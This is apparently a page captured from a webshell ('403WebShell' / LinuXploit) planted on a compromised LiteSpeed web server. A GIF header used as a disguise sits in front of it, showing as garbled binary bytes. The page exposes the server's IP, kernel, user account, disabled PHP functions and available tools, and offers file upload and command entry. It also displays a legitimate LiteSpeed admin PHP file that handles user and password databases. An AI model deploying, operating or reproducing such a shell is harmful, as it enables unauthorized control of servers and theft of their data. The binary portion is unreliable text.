GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ý NETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýý m&ýýE8ýSýkGýAýpxýaýýý R2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|s hýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPý ýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbx ýl5}ýpý ýýý ý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~ 6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5 !_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýý ýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp% AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ý ýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`A ý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý 403WebShell
403Webshell
Server IP : 217.18.85.50  /  Your IP : 18.218.250.241
Web Server : LiteSpeed
System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : ferhatgenc ( )
PHP Version : 7.2.34
Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/admin/html.5.4.6/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/admin/html.5.4.6/classes/ConfigFileEx.php
<?php

class ConfigFileEx
{

	// grep logging.log.fileName, no need from root tag, any distinctive point will do
	public static function grepTagValue($filename, $tags)
	{
		$contents = file_get_contents($filename);
		if (is_array($tags))
		{
			$values = array();
			foreach ($tags as $tag)
			{
				$values[$tag] = ConfigFileEx::grepSingleTagValue($tag, $contents);
			}
			return $values;
		}

		return ConfigFileEx::grepSingleTagValue($tags, $contents);
	}

	public static function grepSingleTagValue($tag, &$contents)
	{
		$singleTags = explode('.', $tag);
		$cur_pos = 0;
		$end_tag = '';
		foreach($singleTags as $singletag)
		{
			$findtag = "<$singletag>";
			$cur_pos = strpos($contents, $findtag, $cur_pos);
			if ($cur_pos === false)
				break;
			$cur_pos += strlen($findtag);
			$end_tag = "</$singletag>";
		}
		if(!strlen($contents) || !strlen($end_tag)) {
			$last_pos = false;
		}
		else {
			$last_pos = strpos($contents, $end_tag, $cur_pos);
		}

		if ( $last_pos !== false) {
			return substr($contents, $cur_pos, $last_pos - $cur_pos);
		}
		else
			return null;
	}

    public static function loadHAVip($haconf)
    {
        if (!file_exists($haconf)) {
            return null;
        }
        $contents = file_get_contents($haconf);
        if ($contents === false) {
            return null;
        }

        if (preg_match_all('/<vip>(.+)<\/vip>/', $contents, $res)) {
            $r = $res[1];
            $ips = [];
            foreach ($r as $vips) {
                $vipsl = preg_split("/[\s,]+/", trim($vips), -1, PREG_SPLIT_NO_EMPTY);
                $ips = array_merge($ips, $vipsl);
            }
            $ips = array_unique($ips);
            $finallist = [];
            foreach ($ips as $ip) {
                $finallist[$ip] = $ip;
            }
            return $finallist;
        } else {
            return null;
        }
    }

	// other files
	public static function &loadMime($filename)
	{
		$lines = file($filename);
		if ( $lines == false ) {
			return false;
		}

		$mime = array();
		foreach( $lines as $line )
		{
			$c = strpos($line, '=');
			if ( $c > 0 )
			{
				$suffix = trim(substr($line, 0, $c));
				$type = trim(substr($line, $c+1 ));
				$mime[$suffix] = array('suffix' => new CVal($suffix),
										'type' => new CVal($type));
			}
		}
		ksort($mime, SORT_STRING);
		reset($mime);

		return $mime;
	}

	public static function saveMime($filename, &$mime)
	{
		$fd = fopen($filename, 'w');
		if ( !$fd ) {
			return false;
		}
		ksort($mime, SORT_STRING);
		reset($mime);
		foreach( $mime as $key => $entry )
		{
			if ( strlen($key) < 8 ) {
				$key = substr($key . '        ', 0, 8);
			}
			$line = "$key = " . $entry['type']->GetVal() . "\n";
			fputs( $fd, $line );
		}
		fclose($fd);

		return true;
	}

	public static function &loadUserDB($filename)
	{
		if ( PathTool::isDenied($filename) ) {
			return false;
		}

		$lines = file($filename);
		$udb = array();
		if ( $lines == false ) {
			error_log('failed to read from ' . $filename);
			return $udb;
		}

		foreach( $lines as $line )
		{
			$line = trim($line);

			$parsed = explode(":",$line);

			if(is_array($parsed)) {

				$size = count($parsed);

				if($size != 2 && $size !=3) {
					continue;
				}

				if(!strlen($parsed[0]) || !strlen($parsed[1])) {
					continue;
				}

				$user = array();

				if($size >= 2) {
					$user['name'] = new CVal(trim($parsed[0]));
					$user['passwd'] = new CVal(trim($parsed[1]));
				}

				if($size == 3 && strlen($parsed[2])) {
					$user['group'] = new CVal(trim($parsed[2]));
				}

				$udb[$user['name']->GetVal()] = $user;
			}
		}

		ksort($udb);
		reset($udb);
		return $udb;
	}

	public static function saveUserDB($filename, &$udb)
	{
		if ( PathTool::isDenied($filename) ) {
			return false;
		}

		$fd = fopen($filename, 'w');
		if ( !$fd ) {
			return false;
		}

		ksort($udb);
		reset($udb);
		foreach( $udb as $name => $user ) {
			$line = $name . ':' . $user['passwd']->GetVal();
			if (isset($user['group']) ) {
				$line .= ':' . $user['group']->GetVal();
			}
			fputs( $fd, "$line\n" );
		}
		fclose($fd);
		return true;
	}

	public static function &loadGroupDB($filename)
	{
		if ( PathTool::isDenied($filename) ) {
			return false;
		}

		$gdb = array();
		$lines = file($filename);
		if ( $lines == false ) {
			return $gdb;
		}

		foreach( $lines as $line ) {
			$line = trim($line);

			$parsed = explode(':', $line);

			if(is_array($parsed) && count($parsed) == 2) {
				$nameval = trim($parsed[0]);
				$group = array(
					'name' => new CVal($nameval),
					'users' => new CVal(trim($parsed[1])));
				$gdb[$nameval] = $group;
			}
		}
		ksort($gdb);
		reset($gdb);
		return $gdb;
	}

	public static function saveGroupDB($filename, &$gdb)
	{
		if ( PathTool::isDenied($filename) ) {
			return false;
		}
		$fd = fopen($filename, 'w');
		if ( !$fd ) {
			return false;
		}
		ksort($gdb);
		reset($gdb);
		foreach( $gdb as $name => $entry )
		{
			$line = $name . ':' . $entry['users']->GetVal() . "\n";
			fputs( $fd, $line );
		}
		fclose($fd);
		return true;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit